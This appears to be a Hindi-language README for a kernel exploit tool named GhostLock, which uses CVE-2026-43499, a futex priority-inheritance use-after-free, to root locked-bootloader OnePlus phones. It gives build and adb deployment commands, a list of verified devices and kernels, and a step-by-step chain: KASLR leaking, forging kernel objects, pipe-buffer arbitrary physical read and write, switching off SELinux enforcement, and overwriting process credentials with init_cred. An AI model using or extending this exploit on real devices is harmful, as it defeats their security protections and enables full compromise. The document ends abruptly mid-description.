
(CVE-2026-43499)कर्नेल एक्सप्लॉइट प्रोग्राम, अनलॉक न किए गए बूटलोडर वाले OnePlus डिवाइसों के लिए उपयुक्त।
लॉक्ड-बूटलोडर OnePlus डिवाइसों को लक्षित करने वाला कर्नेल एक्सप्लॉइट। CVE-2026-43499 का उपयोग करके बूटलोडर को अनलॉक किए बिना या boot.img को संशोधित किए बिना रूट एक्सेस प्राप्त करता है।
केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।
| आइटम | विवरण |
|---|---|
| CVE | CVE-2026-43499 |
| प्रकार | Futex PI (Priority Inheritance) Use-After-Free |
| दायरा | Linux कर्नेल 2.6.39 ~ 7.1 |
| फिक्स हुआ | Mainline 7.1 (कमिट 3bfdc63936dd) |
| Android स्थिति | GKI 6.12.x अभी भी असुरक्षित |
pselect6 सिस्कॉल fd_set को कर्नेल स्टैक पर कॉपी करता है। जब इसे futex PI वेटर तंत्र के साथ जोड़ा जाता है, तो एक मुक्त स्टैक फ्रेम को rt_mutex_waiter स्ट्रक्चर के रूप में पुनः आवंटित किया जा सकता है। PI चेन ट्रैवर्सल के दौरान, rb-tree रीबैलेंसिंग नियंत्रित डेटा को मनमाने कर्नेल एड्रेसों पर लिखता है।
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
| डिवाइस | कोडनेम | SoC | कर्नेल | फ़र्मवेयर | स्थिति |
|---|---|---|---|---|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ सत्यापित |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ सत्यापित |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ सत्यापित |
समान SoC परिवार, Android 16, या कर्नेल 6.12.x वाले अन्य OnePlus डिवाइसों को boot.img ऑफ़सेट निष्कर्षण के माध्यम से अनुकूलित किया जा सकता है।
GhostLock विशेषाधिकार एस्केलेशन संभालता है। KernelSU इंस्टॉलेशन के लिए ksud आवश्यक है (KMI-विशिष्ट kernelsu.ko के साथ बंडल):
| स्रोत | नोट्स |
|---|---|
| ReSukiSU APK (अनुशंसित) | ReSukiSU इंस्टॉल करें; APK में libksud.so बंडल होता है |
| CI रिलीज़ | ReSukiSU CI से डाउनलोड करें (ksud-aarch64-linux-android.zip) |
ksud के बिना, एक्सप्लॉइट फिर भी uid=0 रूट शेल प्राप्त करता है, लेकिन KernelSU इंस्टॉल नहीं होगा और
suस्थायी नहीं रहेगा।
ANDROID_NDK_HOME या ANDROID_NDK_ROOT सेट करें# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — स्टैटिक रूप से लिंक्ड ARM64 ELF एक्ज़ीक्यूटेबल।
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
पहली सफलता के बाद,
resetpropस्वचालित रूप सेpersist.adb.tcp.port=5555सेट करता है, जिससे बाद के रीबूटों पर पूर्णतः स्वचालित रन संभव हो जाते हैं।
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop से ADB TCP 5555 सक्षम करें127.0.0.1:5555 से कनेक्ट होता है/data/local/tmp/a/e --write1
ऑफ़सेट src/devices/offsets.h लुकअप टेबल में संग्रहीत होते हैं, जो uname -r द्वारा कुंजीबद्ध होते हैं। प्रोग्राम स्टार्टअप पर स्वतः मैच करता है; अज्ञात कर्नेल अस्वीकार कर दिए जाते हैं।
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
| प्रकार | गिनती | निष्कर्षण |
|---|---|---|
| kallsyms ग्लोबल सिंबल | 28 | tools/extract_target.py |
| BTF स्ट्रक्चर फ़ील्ड | 57 | tools/extract_btf.py |
| व्युत्पन्न मान | 9 | स्वतः-गणना |
| निश्चित स्थिरांक | 12 | हार्डकोडेड |
| स्ट्रक्चर | फ़ील्ड | उद्देश्य |
|---|---|---|
task_struct | 17 | प्रोसेस डिस्क्रिप्टर, cred, seccomp |
rt_mutex_waiter | 6 | UAF फोर्ज लक्ष्य |
cred | 4 | क्रेडेंशियल, कैपेबिलिटीज़ |
seccomp | 3 | Seccomp फ़िल्टर स्थिति |
pipe_inode_info | 11 | पाइप बफर संचालन |
file_operations | 13 | नकली fops टेबल |
mm_struct | 1 | मेमोरी डिस्क्रिप्टर स्वामी |
जब कर्नेल पॉइंटर प्रतिबंधित हों (kptr_restrict), तो कर्नेल एड्रेस के साथ अधिलेखित boot_id के माध्यम से बेस एड्रेस लीक करें:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
जब ashmem डिवाइस सुलभ हो, तो ashmem fops टेबल से फ़ंक्शन पॉइंटर पढ़ने और KASLR ऑफ़सेट की गणना करने के लिए configfs रीड/राइट प्रिमिटिव का उपयोग करें।
ऑर्डर-3 (32KB) पेजों पर कर्नेल ऑब्जेक्ट फोर्ज करें:
file_operations — ashmem miscdevice fops पॉइंटर हाईजैक करेंrt_mutex_waiter — PI चेन वेटर नोड का अनुकरण करेंtask_struct — PI ट्रैवर्सल के दौरान टास्क संदर्भrt_mutex (लॉक) — सही वेटर/स्वामी जानकारीSKB (सॉकेट बफर) + KernelSnitch के माध्यम से कार्यान्वित:
mm_struct एड्रेस लीक करने के लिए futex हैश कोलिजनsendmsgKASLR बेस प्राप्त करने के बाद, फिजिकल-स्तरीय मेमोरी एक्सेस के लिए पाइप बफर का उपयोग करें:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
समर्थित: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
cred अधिलेखन के बाद कैपेबिलिटी रीडबैक सत्यापन किया जाता है।
src/core/miniadb.c — बूटस्ट्रैप मोड के लिए हल्का ADB प्रोटोकॉल क्लाइंट: